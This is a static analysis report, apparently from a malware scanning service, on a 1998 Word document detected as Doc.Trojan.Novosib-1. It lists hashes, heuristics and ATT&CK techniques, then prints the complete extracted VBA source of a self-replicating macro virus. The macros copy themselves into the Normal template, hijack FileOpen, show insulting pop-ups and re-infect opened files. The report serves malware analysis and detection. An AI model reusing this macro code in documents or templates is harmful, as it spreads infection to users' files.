Doc.Trojan.Novosib-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 6cff51b10118ed2f…

MALICIOUS

Office (OLE)

44.0 KB Created: 1998-09-04 10:52:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ef3fcb7dd34e8dd33a11f0f82fc94594 SHA-1: ce2eb446ede8d1ee378668732db436e4237a2a45 SHA-256: 6cff51b10118ed2f45778cac34dc352a20b331a00ba79605980dac04c3577e79
180 Risk Score

Malware Insights

Doc.Trojan.Novosib-1 · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Novosib-1. It contains VBA macros, including AutoOpen and Auto_Close, which are designed to copy themselves and other macros to the Normal template. The 'Fantom' macro is dedicated to a 'malicious virus writer from Novosibirsk', and the 'Fuck' macro attempts to copy itself as 'FileOpen', suggesting an intent to establish persistence or prepare for further malicious actions.

Heuristics 5

  • ClamAV: Doc.Trojan.Novosib-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Novosib-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2788 bytes
SHA-256: a2b902ce471c81ca083eb526872c8041b017f703090c79c9cb0369f04092a006
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim rus
Dim j, Response, Msg, Style
Dim i
Style = vbCritical
Msg = "Ïðîèçîøëà êðèòè÷åñêàÿ îøèáêà.Ïåðåçàïóñòèòå ïðèëîæåíèå. "
On Error GoTo -1: On Error GoTo fail
rus = 0
j = WordBasic.CountMacros(0, 0)
For i = 1 To j
 If WordBasic.[MacroName$](i, 0, 0) = "Fantom" Then rus = 1
Next i

If rus = 1 Then GoTo fail
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Normal:AutoOp"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":Fantom", "Normal:Fantom"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":Fuck", "Normal:FileOpen"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoClose", "Normal:AutoClose"
Response = MsgBox(Msg, Style)
fail:
End Sub

Attribute VB_Name = "Fantom"

Public Sub MAIN()
'Ïîñâåùàåòñÿ Èãîðþ Äàíèëîâó
'Çëîáíûé âèðóñîïèñàòåëü èç Íîâîñèáèðñêà
End Sub

Attribute VB_Name = "Fuck"

Public Sub MAIN()
Dim Novosib
Dim Virus
Dim Msg, Msb, Msa, Style, MyString, Response
Dim Kota
Dim Mordov
Dim i
Dim zuko
Style = vbYesNo + DefaultButton2
Msg = "Ñäà¸òñÿ ìíå ÷òî âû ìóäàê áàòåíüêà?"
Msa = "Çðÿ âû áàòåíüêà òàêîãî âûñîêîãî ìíåíèÿ î ñåáå!"
Msb = "Âîò òóò ÿ ñ âàìè ïîëíîñòüþ ñîãëàñåí!"
' this macro loaded in normal template as FileOpen
Virus = "Fuck"
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
On Error GoTo -1: On Error GoTo fail
WordBasic.CurValues.FileOpen dlg
WordBasic.Dialog.FileOpen dlg
WordBasic.FileOpen dlg
Response = MsgBox(Msg, Style)
If Response = vbYes Then
MyString = "Äà"
Response = MsgBox(Msb)
GoTo fol
Else
MyString = "Help"
Response = MsgBox(Msa)
fol:
Kota = 0
Mordov = WordBasic.CountMacros(1, 0, 0)
For i = 1 To Mordov
 zuko = WordBasic.[MacroName$](i, 1)
 If zuko = "Fantom" Then Kota = 1
Next i
If Kota = 1 Then GoTo fail
WordBasic.FileSaveAs WordBasic.[FileName$](), Format:=1
WordBasic.MacroCopy "Normal:AutoOp", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.MacroCopy "Normal:Fantom", WordBasic.[FileName$]() + ":Fantom"
WordBasic.MacroCopy "Normal:FileOpen", WordBasic.[FileName$]() + ":Fuck"
WordBasic.MacroCopy "Normal:AutoClose", WordBasic.[FileName$]() + ":AutoClose"
fail:
End If
End Sub

Attribute VB_Name = "AutoClose"
Public Sub MAIN()
    WordBasic.FileSaveAs WordBasic.[FileName$](), Format:=1
End Sub

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